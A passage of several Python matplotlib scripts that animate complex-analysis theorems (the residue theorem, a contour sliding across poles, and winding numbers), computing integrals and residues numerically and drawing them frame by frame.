def circ(c, r, n=1200):
    e = np.exp(2j * np.pi * np.arange(n) / n)
    return c + r * e, 1j * r * e

def oint(z, dz):
    return (f(z) * dz).mean() * 2 * np.pi

def fmt(w, d=3):
    w = complex(round(w.real, d) + 0.0, round(w.imag, d) + 0.0)
    return "$%.*f %s %.*f\\,i$" % (d, w.real, "-" if w.imag < 0 else "+", d, abs(w.imag))

live = []

def clear():
    while live:
        live.pop().remove()

def mix(c1, c2, t):
    return tuple((1 - t) * np.array(to_rgb(c1)) + t * np.array(to_rgb(c2)))

def poles(ax, names=True, fs=13, dy=-0.55):
    ax.scatter(P.real, P.imag, s=40, color="red", zorder=7)
    if names:
        for k in range(4):
            ax.text(P[k].real, P[k].imag + dy, "$z_%d$" % (k + 1), color="red", fontsize=fs, ha="center",
                    va="center", clip_on=True)
Rc = lambda t: 4.0 + 0.45 * np.cos(2 * t) - 0.2 * np.sin(3 * t)
dRc = lambda t: -0.9 * np.sin(2 * t) - 0.6 * np.cos(3 * t)

fig = plt.figure(figsize=(11.4, 5.9))
title = fig.text(0.5, 0.94, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.884, "", ha="center", fontsize=12, color="0.3")
def plen(P):
    return np.abs(np.diff(P)).sum()

def pt(P, L):
    d = np.abs(np.diff(P)); c = np.r_[0, np.cumsum(d)]
    L = min(max(L, 0.0), c[-1]); i = min(np.searchsorted(c, L, side="right") - 1, len(d) - 1)
    return P[i] + (P[i + 1] - P[i]) * (L - c[i]) / d[i]

def upto(P, u):
    c = np.r_[0, np.cumsum(np.abs(np.diff(P)))]; L = u * c[-1]
    return np.r_[P[c < L], pt(P, L)]

def warr(P):
    n = max(1, int(round(plen(P) / 3.2)))
    return [(i + 0.5) / n for i in range(n)]

def line(ax, P, **kw):
    live.extend(ax.plot(np.real(P), np.imag(P), **kw))

def parrow(ax, P, w, col, alpha=1.0, ms=16, shift=0, rev=False):
    L = w * plen(P); p, q = pt(P, L - 0.14) + shift, pt(P, L + 0.14) + shift
    if rev:
        p, q = q, p
    live.append(ax.annotate("", xy=(q.real, q.imag), xytext=(p.real, p.imag), zorder=5,
                            arrowprops=dict(arrowstyle="-|>", color=col, lw=2, alpha=alpha, mutation_scale=ms)))

def dot(ax, z, col, s=55):
    live.append(ax.scatter([z.real], [z.imag], s=s, color=col, zorder=6, edgecolor="white", lw=1))

def text(ax, z, s, **kw):
    live.append(ax.text(z.real, z.imag, s, ha="center", va="center", **kw))

def arc(c, r, a, b, n):
    return c + r * np.exp(1j * np.linspace(a, b, n))

def seg(a, b):
    return np.linspace(a, b, 12)

def make_piece(segs, col, off, lp):
    full = np.concatenate([P for P, _, _ in segs]); cen = full.mean(); sh = {}
    for P, kind, cid in segs:
        if kind == "cut":
            d = P[-1] - P[0]; nrm = 1j * d / abs(d)
            sh[cid] = 0.17 * np.sign(((cen - P.mean()) * np.conj(nrm)).real) * nrm
    return dict(segs=segs, col=col, off=off, lp=lp, sh=sh, full=full)

def draw_piece(ax, pc, g, s, cut_alpha=1.0, rec=0.0, glow=0.0, lab=0.0):
    o = g * pc["off"]; full = pc["full"] + o
    live.extend(ax.fill(full.real, full.imag, color=pc["col"], alpha=0.13 * (1 - rec), lw=0))
    Ls = [plen(P) for P, _, _ in pc["segs"]]; tot = sum(Ls); acc = 0.0
    for (P, kind, cid), Lk in zip(pc["segs"], Ls):
        u = min(max((s * tot - acc) / Lk, 0.0), 1.0); acc += Lk
        if u <= 0:
            continue
        Q = P + o
        if kind == "cut":
            col, al, lw, sh = pc["col"], cut_alpha, 2.3 + 2 * glow, pc["sh"][cid]
            if al < 0.02:
                continue
        else:
            col, al, lw, sh = mix(pc["col"], CCOL if kind == "C" else PCOL, rec), 1.0, 2.3, 0
        line(ax, upto(Q, u), color=col, lw=lw, alpha=al)
        for w in warr(P):
            if u > w + 0.06:
                parrow(ax, Q, w, col, al, ms=16 + (7 * glow if kind == "cut" else 0), shift=sh)
    if 0 < s < 1:
        dot(ax, pt(full, s * tot), pc["col"])
    if lab > 0:
        text(ax, pc["lp"] + o, pc.get("name", ""), fontsize=12, color=pc["col"], alpha=lab)

def curve(ax, P, col, s=1.0, alpha=1.0, ccw=1.0, cw=0.0):
    line(ax, upto(P, s), color=col, lw=2.6, alpha=alpha)
    for w in warr(P):
        if s > w + 0.05:
            if ccw > 0:
                parrow(ax, P, w, col, alpha * ccw)
            if cw > 0:
                parrow(ax, P, w, col, alpha * cw, rev=True)

PH = [("goal", 28), ("apart", 16), ("run", 46), ("back", 18), ("cancel", 22), ("left", 18), ("flip", 16), ("end", 18),
      ("res", 42)]
SCHED = list(range(sum(n for _, n in PH)))

def where(k):
    for name, n in PH:
        if k < n:
            return name, k / (n - 1)
        k -= n
    return PH[-1][0], 1.0

def engine(ax, k, CURVES, PIECES):
    name, p = where(k)
    if name == "goal":
        for P, col in CURVES:
            curve(ax, P, col, p); dot(ax, pt(P, p * plen(P)), col)
    elif name == "apart":
        g = ease(p)
        for P, col in CURVES:
            curve(ax, P, col, 1, 1 - 0.88 * g)
        for pc in PIECES:
            draw_piece(ax, pc, g, 0.0)
    elif name == "run":
        for pc in PIECES:
            draw_piece(ax, pc, 1.0, p, lab=min(1, max(0, (p - 0.85) / 0.15)))
    elif name == "back":
        for pc in PIECES:
            draw_piece(ax, pc, 1 - ease(p), 1.0, lab=1 - ease(p))
    elif name == "cancel":
        glow, f = np.sin(np.pi * min(p / 0.45, 1.0)), ease((p - 0.45) / 0.55)
        for pc in PIECES:
            draw_piece(ax, pc, 0.0, 1.0, 1 - f, f, glow)
    elif name == "left":
        for pc in PIECES:
            draw_piece(ax, pc, 0.0, 1.0, 0.0, 1.0)
    else:
        f = ease(p) if name == "flip" else 1.0
        for i, (P, col) in enumerate(CURVES):
            curve(ax, P, col, ccw=1.0 if i == 0 else f, cw=0.0 if i == 0 else 1 - f)
    return name, p

ax = fig.add_axes([0.0, 0.02, 0.54, 0.84]); ax.set_aspect("equal"); ax.axis("off")
ax.set_xlim(-5.1, 5.6); ax.set_ylim(-5.1, 5.0)
RHO = 0.7
outer = lambda a, b, n: Rc(np.linspace(a, b, n)) * np.exp(1j * np.linspace(a, b, n))
CL, CR = -Rc(np.pi), Rc(0)                                 # where C meets the real axis
CURVES = [(outer(0, 2 * np.pi, 400), CCOL)] + [(arc(p, RHO, 0, 2 * np.pi, 120), PCOL) for p in P[:3]]


def half(sg, col, name):                                   # the piece above (sg = 1) or below (sg = -1) the axis
    segs = [(outer(0, np.pi, 220) if sg > 0 else outer(np.pi, 2 * np.pi, 220), "C", None)]
    x = CL if sg > 0 else CR
    for p in (P[:3] if sg > 0 else P[2::-1]).real:
        segs += [(seg(x, p - sg * RHO), "cut", p), (arc(p, RHO, np.pi * (sg > 0), -np.pi * (sg < 0), 60), "Cp", None)]
        x = p + sg * RHO
    segs.append((seg(x, CR if sg > 0 else CL), "cut", 9))
    pc = make_piece(segs, col, 0.9j * sg, 2.3j * sg); pc["name"] = name
    return pc


PIECES = [half(1, "tab:blue", "$P_1$\n" r"$\oint_{\partial P_1}f\,dz=0$"),
          half(-1, "tab:green", "$P_2$\n" r"$\oint_{\partial P_2}f\,dz=0$")]
poles(ax, dy=-0.38, fs=12)
ax.text(A.real + 0.15, A.imag + 0.45, "$z_4$ (outside $C$)", color="0.35", fontsize=11, ha="center")
ax.text(-3.3, 3.7, "$C$", color=CCOL, fontsize=14)
t = 2 * np.pi * np.arange(4000) / 4000
IC = oint(Rc(t) * np.exp(1j * t), (dRc(t) + 1j * Rc(t)) * np.exp(1j * t))   # the integral round C, directly
STY = [(0.80, 14, "k"), (0.71, 12, "k"), (0.66, 12, "0.4"), (0.585, 12, "darkred")] + [(0.505 - 0.07 * j, 11.5, PCOL) for j in range(3)] \
    + [(0.285, 11.5, "darkred"), (0.225, 11, "0.3"), (0.155, 12, "0.4"), (0.10, 10.5, "0.4")]
rows = [fig.text(0.56, y, "", fontsize=fs, color=c, va="center") for y, fs, c in STY]
SUMS = r"$\oint_C f\,dz-\oint_{C_1}f\,dz-\oint_{C_2}f\,dz-\oint_{C_3}f\,dz=0$"
TT = {"goal": ("Goal: the integral of $f$ round $C$",
               "poles $z_1,z_2,z_3$ inside $C$, $z_4$ outside; small circles $C_k$ round $z_1,z_2,z_3$"),
      "apart": ("Four cuts divide the region into two pieces; pull them apart", "no pole lies in either piece"),
      "run": ("Run round each piece, counterclockwise",
              "no pole in a piece, so each integral is $0$ (Cauchy–Goursat)"),
      "back": ("Put the pieces back", r"$\oint_{\partial P_1}f\,dz+\oint_{\partial P_2}f\,dz=0$"),
      "cancel": ("Each cut is run twice, in opposite directions", "so the cuts cancel"),
      "left": ("What is left: $C$ counterclockwise, the circles clockwise", SUMS),
      "flip": ("Run the circles counterclockwise: their integrals change sign", ""),
      "end": ("The many-hole deformation theorem (Theorem 20.10)",
              r"$\oint_C f\,dz=\oint_{C_1}f\,dz+\oint_{C_2}f\,dz+\oint_{C_3}f\,dz$"),
      "res": ("Each small circle gives $2\\pi i\\,\\mathrm{Res}(f,z_k)$ (eq. (27.1)): the residue theorem",
              r"$\oint_C f\,dz=2\pi i\,\sum_{z_k\ \mathrm{inside}\ C}\mathrm{Res}(f,z_k)$;  $z_4$ is outside and does not count")}
ORDER = [n for n, _ in PH]


def frame(k):
    clear()
    name, p = engine(ax, k, CURVES, PIECES)
    title.set_text(TT[name][0]); sub.set_text(TT[name][1])
    st = ORDER.index(name)
    for r in rows:
        r.set_text("")
    rows[0].set_text(FTEX)
    rows[1].set_text("inside $C$: $z_1=-3$ (pole of order $3$), $z_2=0$, $z_3=3$")
    rows[2].set_text("outside $C$: $z_4=4+3i$")
    if st >= 5:
        rows[3].set_text(SUMS if st == 5 else TT["end"][1])
    if name == "res":
        for j in range(3):
            if p > 0.18 * j:
                rows[4 + j].set_text(r"$\oint_{C_%d}f\,dz=2\pi i\,\mathrm{Res}(f,z_%d)$,  $\mathrm{Res}(f,z_%d)=$ " % (j + 1, j + 1, j + 1)
                                     + fmt(RES[j]))
                text(ax, P[j] - 1.05j, r"$2\pi i\,\mathrm{Res}(f,z_%d)$" % (j + 1), fontsize=10.5, color=PCOL)
        if p > 0.55:
            rows[7].set_text(r"$\oint_C f\,dz=2\pi i\,\sum_{k=1}^{3}\mathrm{Res}(f,z_k)=2\pi i\,($" + fmt(RES[:3].sum())
                             + "$)=$ " + fmt(2j * np.pi * RES[:3].sum()))
            rows[8].set_text(r"check, computed directly round $C$: $\oint_C f\,dz=$ " + fmt(IC))
        if p > 0.75:
            rows[9].set_text(r"$z_4$ is outside $C$: $\mathrm{Res}(f,z_4)=$ " + fmt(RES[3]) + " is not counted")
            rows[10].set_text("(residues from Theorem 27.2)")

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=55)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(223)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""The residue theorem (Theorem 27.5), version 3: the integral only changes when the contour crosses a pole.
A circle of radius 3.2 slides across the plane of f (poles z1 = -3 of order 3, z2 = 0, z3 = 3, z4 = 4+3i).
Right: the value of (1/2 pi i) times the integral of f round the circle, computed numerically in every frame,
as a point in the complex plane and (below) its real and imaginary parts against time. It stays constant
while no pole is crossed, and jumps by exactly Res(f,z_k) when z_k enters the circle, by -Res(f,z_k) when
it leaves. The frames step over the crossings, so the circle never passes through a pole.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the residue-theorem animations (make_residue.py pastes it into each script).
# f has a pole of order 3 at z1 = -3, simple poles at z2 = 0, z3 = 3 (inside C) and z4 = 4+3i (outside C).
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.colors import to_rgb

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"
K, A = 405, 4 + 3j
P = np.array([-3, 0, 3, A])                                # z1, z2, z3, z4
ORD = [3, 1, 1, 1]                                         # their orders
FTEX = r"$f(z)=\frac{405\,e^{z/2}}{(z+3)^{3}\,z\,(z-3)\,(z-4-3i)}$"
f = lambda z: K * np.exp(z / 2) / ((z + 3) ** 3 * z * (z - 3) * (z - A))
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))


def residue(k):
    """Theorem 27.2: (i) at a simple pole the limit of (z-p)f; (ii) at the triple pole half the second
    derivative of phi = (z+3)^3 f, using phi'' = phi (L^2 + L'), L = phi'/phi"""
    p, o = P[k], [(P[j], ORD[j]) for j in range(4) if j != k]
    phi = K * np.exp(p / 2) / np.prod([(p - q) ** m for q, m in o])
    if ORD[k] == 1:
        return phi
    L, L1 = 0.5 - sum(m / (p - q) for q, m in o), sum(m / (p - q) ** 2 for q, m in o)
    return phi * (L * L + L1) / 2


RES = np.array([residue(k) for k in range(4)])


def circ(c, r, n=1200):                                    # points and dz/dt of the circle c + r e^{it}
    e = np.exp(2j * np.pi * np.arange(n) / n)
    return c + r * e, 1j * r * e


def oint(z, dz):                                           # the integral of f round a closed curve (trapezoid)
    return (f(z) * dz).mean() * 2 * np.pi


def fmt(w, d=3):
    w = complex(round(w.real, d) + 0.0, round(w.imag, d) + 0.0)
    return "$%.*f %s %.*f\\,i$" % (d, w.real, "-" if w.imag < 0 else "+", d, abs(w.imag))


live = []


def clear():
    while live:
        live.pop().remove()


def mix(c1, c2, t):
    return tuple((1 - t) * np.array(to_rgb(c1)) + t * np.array(to_rgb(c2)))


def poles(ax, names=True, fs=13, dy=-0.55):
    ax.scatter(P.real, P.imag, s=40, color="red", zorder=7)
    if names:
        for k in range(4):
            ax.text(P[k].real, P[k].imag + dy, "$z_%d$" % (k + 1), color="red", fontsize=fs, ha="center",
                    va="center", clip_on=True)
Rc = lambda t: 4.0 + 0.45 * np.cos(2 * t) - 0.2 * np.sin(3 * t)          # C: Rc(t) e^{it}, counterclockwise
dRc = lambda t: -0.9 * np.sin(2 * t) - 0.6 * np.cos(3 * t)

fig = plt.figure(figsize=(11.4, 5.9))
title = fig.text(0.5, 0.94, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.884, "", ha="center", fontsize=12, color="0.3")

axl = fig.add_axes([0.0, 0.03, 0.57, 0.8]); axl.set_aspect("equal"); axl.axis("off")
axl.set_xlim(-8.6, 9.6); axl.set_ylim(-4.1, 7.6)
COL = ["tab:blue", "tab:green", "tab:purple", "tab:brown"]
axl.scatter(P.real, P.imag, s=40, color="red", zorder=7)
for j in range(4):
    axl.text(P[j].real, P[j].imag - 0.6, "$z_%d$" % (j + 1), color=COL[j], fontsize=13, ha="center", va="center")
r, NF = 3.5, 190
WP = np.array([-7.6 + 0.2j, 0.5 + 0.2j, 4.6 + 3.3j, 9.2 + 4.8j])        # the path of the centre
Lseg = np.abs(np.diff(WP)); Lc = np.r_[0, np.cumsum(Lseg)]
axl.plot(WP.real, WP.imag, color="0.8", lw=1, ls="--")


def centre(s):
    i = min(np.searchsorted(Lc, s, side="right") - 1, 2)
    return WP[i] + (WP[i + 1] - WP[i]) * (s - Lc[i]) / Lseg[i]


S = np.linspace(0, Lc[-1], NF)
for i in range(NF):                                        # step over the crossings: keep the circle 0.12 off every pole
    while np.abs(np.abs(centre(S[i]) - P) - r).min() < 0.12:
        S[i] += 0.02
CEN = np.array([centre(s) for s in S])
V = np.array([oint(*circ(c0, r, 1500)) / (2j * np.pi) for c0 in CEN])      # (1/2 pi i) times the integral, numerically
INS = np.abs(CEN[:, None] - P[None, :]) < r
JUMPS = [(i, j, int(INS[i, j]) - int(INS[i - 1, j])) for i in range(1, NF) for j in range(4) if INS[i, j] != INS[i - 1, j]]
axv = fig.add_axes([0.63, 0.33, 0.34, 0.46]); axv.set_aspect("equal"); axv.tick_params(labelsize=8)
x0, x1, y0, y1 = min(V.real.min(), 0), max(V.real.max(), 0), min(V.imag.min(), 0), max(V.imag.max(), 0)
h = 0.62 * max(x1 - x0, y1 - y0); axv.set_xlim((x0 + x1) / 2 - h, (x0 + x1) / 2 + h); axv.set_ylim((y0 + y1) / 2 - h, (y0 + y1) / 2 + h)
axv.axhline(0, color="0.85", lw=0.8); axv.axvline(0, color="0.85", lw=0.8)
fig.text(0.63, 0.255, r"arrow $\pm z_k$: a jump by $\pm\mathrm{Res}(f,z_k)$", fontsize=10, color="0.3")
axt = fig.add_axes([0.63, 0.065, 0.34, 0.15]); axt.tick_params(labelsize=8)
axt.set_xlim(0, NF - 1); axt.set_ylim(min(V.real.min(), V.imag.min()) - 0.15, max(V.real.max(), V.imag.max()) + 0.15)
axt.axhline(0, color="0.85", lw=0.8); axt.set_xticks([])
axt.set_xlabel(r"time;  solid: real part,  dashed: imaginary part", fontsize=9.5, labelpad=2)
val = fig.text(0.63, 0.825, "", fontsize=11.5)


def frame(k):
    clear()
    z, _ = circ(CEN[k], r, 400); z = np.r_[z, z[:1]]
    live.extend(axl.plot(z.real, z.imag, color=CCOL, lw=2.6))
    for a in (0.1, 0.43, 0.76):
        i = int(a * 400)
        live.append(axl.annotate("", xy=(z[i + 5].real, z[i + 5].imag), xytext=(z[i - 5].real, z[i - 5].imag),
                                 arrowprops=dict(arrowstyle="-|>", color=CCOL, lw=2, mutation_scale=16)))
    live.append(axl.scatter(P[INS[k]].real, P[INS[k]].imag, s=260, facecolor="none", edgecolor=CCOL, lw=1.5, zorder=6))
    done = [J for J in JUMPS if J[0] <= k]
    for n, (i, j, sg) in enumerate(done):
        a, b = V[i - 1], V[i]; al = 1 if n >= len(done) - 3 else 0.25
        live.append(axv.annotate("", xy=(b.real, b.imag), xytext=(a.real, a.imag), arrowprops=dict(
            arrowstyle="-|>", color=COL[j], lw=1.8, mutation_scale=13, shrinkA=0, shrinkB=0, alpha=al)))
        m = (a + b) / 2 + 0.07 * sg * 1j * (b - a) / abs(b - a)
        live.append(axv.text(m.real, m.imag, "$%s$" % "+-"[sg < 0] + "$z_%d$" % (j + 1), color=COL[j], fontsize=10,
                             ha="center", va="center", alpha=al))
        live.append(axt.axvline(i - 0.5, color=COL[j], lw=1, alpha=0.6))
    live.append(axv.scatter([V[k].real], [V[k].imag], s=70, color=CCOL, zorder=8, edgecolor="white"))
    live.extend(axt.step(range(k + 1), V[:k + 1].real, where="mid", color="k", lw=1.6))
    live.extend(axt.step(range(k + 1), V[:k + 1].imag, where="mid", color="k", lw=1.6, ls="--"))
    ins = [j for j in range(4) if INS[k, j]]
    val.set_text(r"$\frac{1}{2\pi i}\oint\,f\,dz=$ " + fmt(V[k]) + " (computed)")
    last = [(i, j, sg) for i, j, sg in JUMPS if k - 9 < i <= k]
    title.set_text("Slide the contour: the integral changes only when the contour crosses a pole")
    if last:
        i, j, sg = last[-1]
        sub.set_text(r"$z_%d$ has just %s the circle: the value jumps by %s$\mathrm{Res}(f,z_%d)=$ %s"
                     % (j + 1, "entered" if sg > 0 else "left", "+" if sg > 0 else "$-$", j + 1, fmt(RES[j])))
    elif ins:
        sub.set_text("poles inside: " + ", ".join("$z_%d$" % (j + 1) for j in ins) + r";  value $=$ "
                     + "$+$".join(r"$\mathrm{Res}(f,z_%d)$" % (j + 1) for j in ins) + " $=$ " + fmt(RES[ins].sum()))
    else:
        sub.set_text("no pole inside the circle: the value is $0$ (Cauchy–Goursat)")
SCHED = list(range(NF))

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=60)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(83)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""The winding number as a field (Chapter 27: Definition 27.7, Proposition 27.8, Theorem 27.9, Example 27.10).
(1) The ray from z0 to gamma(t) turns; phi(t)/2 pi i counts the turns, ends at Ind=2. (2) z0 moves: the index
is constant on regions, jumps by 1 across gamma. (3) Poles weighted by index. (4) |z|=2 twice clockwise.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CC, PC = "#1f6f78", "#c96a00"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []


def clear():
    while live:
        live.pop().remove()


# gamma: closed periodic Catmull-Rom spline through Q (piecewise C^1); left: two loops, right: a clockwise lobe
Q = np.array([0.6, -0.2+1.2j, -1.6+1.5j, -2.7+0.4j, -2.4-1j, -1.2-1.35j, -0.2-0.8j, -0.35+0.3j, -1+0.75j,
              -1.65+0.1j, -1.2-0.45j, -0.35j, 0.6, 1.3+0.8j, 2.4+0.9j, 2.9-0.1j, 2.2-1j, 1.2-0.7j])
p0, p1, p2, p3 = [np.roll(Q, 1 - k)[:, None] for k in range(4)]
s = np.linspace(0, 1, 120, endpoint=False)[None, :]
G = (p1 + (p2 - p0) * s / 2 + (2 * p0 - 5 * p1 + 4 * p2 - p3) * s ** 2 / 2 + (3 * p1 - p0 - 3 * p2 + p3) * s ** 3 / 2).ravel()
G = np.r_[G, G[0]]; TT = np.linspace(0, 1, len(G)); LEN = np.abs(np.diff(G)).sum()
CIR = 2 * np.exp(-4j * np.pi * TT)                       # |z|=2, twice clockwise (Example 27.10)


def phi(g, z0):          # phi(t)/(2 pi i) = (1/2 pi i) int_{gamma|[0,t]} dz/(z-z0), exact on the polygon g
    w = g - z0
    return np.r_[0, np.cumsum(np.log(w[1:] / w[:-1]))] / (2j * np.pi)


def dist(z0):
    return np.abs(G - z0).min()


# the index on a grid (for painting); every index value here is one region
X0, X1, Y0, Y1 = -3.3, 3.3, -2.2, 2.2
xs = np.linspace(X0, X1, 231); g3 = G[::3]
IND = np.array([np.round(np.angle((g3[1:, None] - xs - 1j * y) / (g3[:-1, None] - xs - 1j * y)).sum(0) / (2 * np.pi))
                for y in np.linspace(Y0, Y1, 155)])
COL = {2: (0.17, 0.36, 0.62), 1: (0.6, 0.76, 0.9), 0: (0.9, 0.9, 0.9), -1: (0.95, 0.63, 0.48)}
RGBA = np.zeros(IND.shape + (4,))
for v, c in COL.items():
    RGBA[IND == v, :3] = c
LAB = {2: -1.05 - 0.2j, 1: -2.05 + 0.75j, 0: -2.6 + 1.85j, -1: 2.3 - 0.55j}

# the probe: A (index 2) -> B (1) -> C (0) -> D (-1) -> E (0, farther out)
WP = [-1.05 + 0.1j, -0.6 + 1j, 0.35 + 1.1j, 1.9 + 0.1j, 3 + 1.8j]
for w, v in zip(WP, (2, 1, 0, -1, 0)):
    assert abs(phi(G, w)[-1] - v) < 1e-9
# Theorem 27.9: f = 1/(z-z1) + 0.5/(z-z1)^2 + 0.5/(z-z2) + 3/(z-z3)
ZP = np.array([-1.05 + 0.1j, 1.9 + 0.1j, 0.3 - 1.5j]); CO = np.array([1, 0.5, 3])
f = lambda z: 1 / (z - ZP[0]) + 0.5 / (z - ZP[0]) ** 2 + 0.5 / (z - ZP[1]) + 3 / (z - ZP[2])
u = 1e-3 * np.exp(2j * np.pi * np.arange(400) / 400)
RES = np.array([(f(p + u) * u).mean() for p in ZP])      # residues, computed on small circles
INDP = np.array([phi(G, p)[-1].real for p in ZP])
FR = sum(c * phi(G, p) for c, p in zip(CO, ZP)) + 0.5 * (1 / (G[0] - ZP[0]) - 1 / (G - ZP[0])) / (2j * np.pi)
assert abs(FR[-1] - (INDP * RES).sum()) < 1e-9 and abs(FR[-1] - 1.5) < 1e-9
EZ = np.r_[0, np.cumsum((np.exp(CIR[1:]) + np.exp(CIR[:-1])) / 2 * np.diff(TT))] * -2   # (1/2 pi i) int e^z/z dz
assert abs(EZ[-1] + 2) < 1e-6 and abs(phi(CIR, 0)[-1] + 2) < 1e-9

SCHED = [("intro", 0, WP[0])] * 12 + [("run", ease(i / 45), WP[0]) for i in range(46)] + [("got", 1, WP[0])] * 14
for j in range(4):
    SCHED += [("move", 1, WP[j] + (WP[j + 1] - WP[j]) * ease(i / 17)) for i in range(18)] + [("move", 1, WP[j + 1])] * 10
SCHED += [("poles", 0, 0)] * 6 + [("prun", ease(i / 35), 0) for i in range(36)] + [("pgot", 1, 0)] * 14
SCHED += [("circ", 0, 0)] * 6 + [("crun", ease(i / 29), 0) for i in range(30)] + [("cgot", 1, 0)] * 16

PAINT = []; cur = set()
for ph, t, z0 in SCHED:
    if ph[0] == "p" or ph[0] == "c":
        cur = {2, 1, 0, -1}
    elif t < 1:
        cur = set()
    elif dist(z0) >= 0.04:
        cur = cur | {int(round(phi(G, z0)[-1].real))}
    PAINT.append(cur)
fig = plt.figure(figsize=(7.4, 10.5))
title = fig.text(0.5, 0.94, "", ha="center", va="center", fontsize=13.5)
sub = fig.text(0.5, 0.908, "", ha="center", va="center", fontsize=12, color="0.3")
ax = fig.add_axes([0.03, 0.46, 0.94, 0.42]); ax.set_aspect("equal"); ax.axis("off")
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1)
img = ax.imshow(RGBA, origin="lower", extent=(X0, X1, Y0, Y1), interpolation="nearest", zorder=0)
S1 = ax.plot(G.real, G.imag, color=CC, lw=2.4, zorder=3) + ax.plot(CIR.real, CIR.imag, color=CC, lw=2.4, zorder=3)


def arrows(g, ts):
    return [ax.annotate("", xy=(g[i + 3].real, g[i + 3].imag), xytext=(g[i].real, g[i].imag), zorder=4,
                        arrowprops=dict(arrowstyle="-|>", color=CC, lw=2, mutation_scale=16)) for i in ts]


A1 = arrows(G, [100, 420, 700, 1000, 1300, 1560, 1900]); A2 = arrows(CIR, [180, 1260])
T = [fig.text(0.47, 0.437 - 0.036 * i, "", fontsize=12, va="center") for i in range(3)]
TL = [fig.text(0.45, 0.437 - 0.036 * i, "", fontsize=12.5, va="center", ha="right") for i in range(3)]


def labels(*a):
    for t, x in zip(TL, a):
        t.set_text(x)

axg = fig.add_axes([0.13, 0.06, 0.82, 0.26]); axg.set_xlim(0, 1); axg.set_ylim(-2.45, 2.45)
axg.set_xlabel(r"$t$  (fraction of $\gamma$ traversed)", labelpad=1); axg.tick_params(labelsize=10)
for n in range(-2, 3):
    axg.axhline(n, color="0.85", lw=0.8, zorder=0)
H = axg.plot([], [], color="k", lw=2.2)[0], axg.plot([], [], color="0.5", lw=1.3, ls="--")[0]
leg = axg.legend(H, ["", ""], loc="lower left", fontsize=10.5)
state = [None, None]
cz = lambda z: ("%.4f%+.4fi" % (round(z.real, 4) + 0.0, round(z.imag, 4) + 0.0)).replace("-", "\u2212")


def frame(k):
    clear()
    ph, t, z0 = SCHED[k]
    circ = ph[0] == "c"; pol = ph[0] == "p"; n = int(round(t * (len(G) - 1)))
    if state[0] != ph:
        state[0] = ph
        for a in S1[:1] + A1:
            a.set_visible(not circ)
        for a in S1[1:] + A2:
            a.set_visible(circ)
        img.set_visible(not circ)
        lb = {"p": (r"Re $\frac{1}{2\pi i}\int_{\gamma|[0,t]}f\,dz$", "Im part"),
              "c": (r"Re $\frac{1}{2\pi i}\int_{\gamma|[0,t]}\frac{e^z}{z}dz$", r"Re $\varphi(t)/2\pi i$ about $0$ (turns)")}
        for tx, s in zip(leg.get_texts(), lb.get(ph[0], (r"Re $\varphi(t)/2\pi i$: turns of the ray so far",
                                                         r"Im $\varphi(t)/2\pi i$ (returns to 0)"))):
            tx.set_text(s)
    if circ:
        g, Y = CIR, EZ; Y2 = phi(CIR, 0).real
        title.set_text(r"Example 27.10: $\gamma$ = circle $|z|=2$ traversed twice clockwise")
        sub.set_text(r"$\oint_\gamma\frac{e^z}{z}dz=2\pi i\,\mathrm{Ind}(\gamma;0)\,\mathrm{Res}(\frac{e^z}{z},0)=2\pi i(-2)(1)=-4\pi i$")
        live.append(ax.scatter([0], [0], s=45, color="red", zorder=6))
        live.append(ax.text(0.12, -0.2, "$0$", color="red", fontsize=13))
        labels(r"turns of the ray from $0$ so far", r"$\frac{1}{2\pi i}\int_{\gamma|[0,t]}\frac{e^z}{z}dz$",
               r"$\oint_\gamma\frac{e^z}{z}dz$" if ph == "cgot" else "")
        T[0].set_text("= %.4f" % Y2[n]); T[1].set_text("= " + cz(EZ[n]))
        T[2].set_text("= %.4fi   (and -4\u03c0 = %.4f)" % ((2j * np.pi * EZ[n]).imag, -4 * np.pi)
                      if ph == "cgot" else "")
        H[0].set_data(TT[:n + 1], Y[:n + 1].real); H[1].set_data(TT[:n + 1], Y2[:n + 1])
    elif pol:
        g = G; Y = FR
        title.set_text(r"Theorem 27.9: $\oint_\gamma f\,dz=2\pi i\sum_k\mathrm{Ind}(\gamma;z_k)\,\mathrm{Res}(f,z_k)$")
        sub.set_text(r"$f(z)=\frac{1}{z-z_1}+\frac{0.5}{(z-z_1)^2}+\frac{0.5}{z-z_2}+\frac{3}{z-z_3}$:"
                     r" only the $\frac{1}{z-z_k}$ terms count")
        for j, p in enumerate(ZP):
            live.append(ax.scatter([p.real], [p.imag], s=45, color="red", zorder=6))
            live.append(ax.text(p.real + 0.1, p.imag + 0.06, "$z_%d$" % (j + 1), color="red", fontsize=13))
        labels(r"$\mathrm{Ind}(\gamma;z_k)$;  $\mathrm{Res}(f,z_k)$", r"$\frac{1}{2\pi i}\int_{\gamma|[0,t]}f\,dz$",
               r"$\sum_k\mathrm{Ind}(\gamma;z_k)\,\mathrm{Res}(f,z_k)$" if ph == "pgot" else "")
        T[0].set_text("= %s;   %s" % (", ".join("%d" % round(v) for v in INDP),
                                                                   ", ".join("%g" % round(v.real, 4) for v in RES)))
        T[1].set_text("= " + cz(FR[n]))
        T[2].set_text("= %s = %.4f" % ("+".join("(%d)(%g)" % (round(a), round(b.real, 4))
